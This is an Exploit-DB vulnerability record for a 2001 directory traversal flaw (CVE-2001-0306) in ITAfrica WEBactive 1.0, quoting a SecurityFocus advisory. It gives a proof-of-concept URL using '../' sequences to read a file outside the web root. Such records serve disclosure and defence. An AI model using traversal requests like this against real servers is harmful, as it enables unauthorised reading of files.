itafrica webactive 1.0 - Directory Traversal Vulnerability

2001-02-16T00:00:00
ID EDB-ID:20637
Type exploitdb
Reporter slipy
Modified 2001-02-16T00:00:00

Description

ITAfrica WEBactive 1.0 Directory Traversal Vulnerability. CVE-2001-0306. Remote exploit for windows platform

                                        
                                            source: http://www.securityfocus.com/bid/2386/info

It is possible for a remote user to gain read access to directories and files outside the root directory of ITAfrica WEBactive. Requesting a specially crafted URL composed of '../' sequences will disclose an arbitrary directory. 

http://target/../../../scandisk.log

^^ = Will obviously open the scandisk.log file.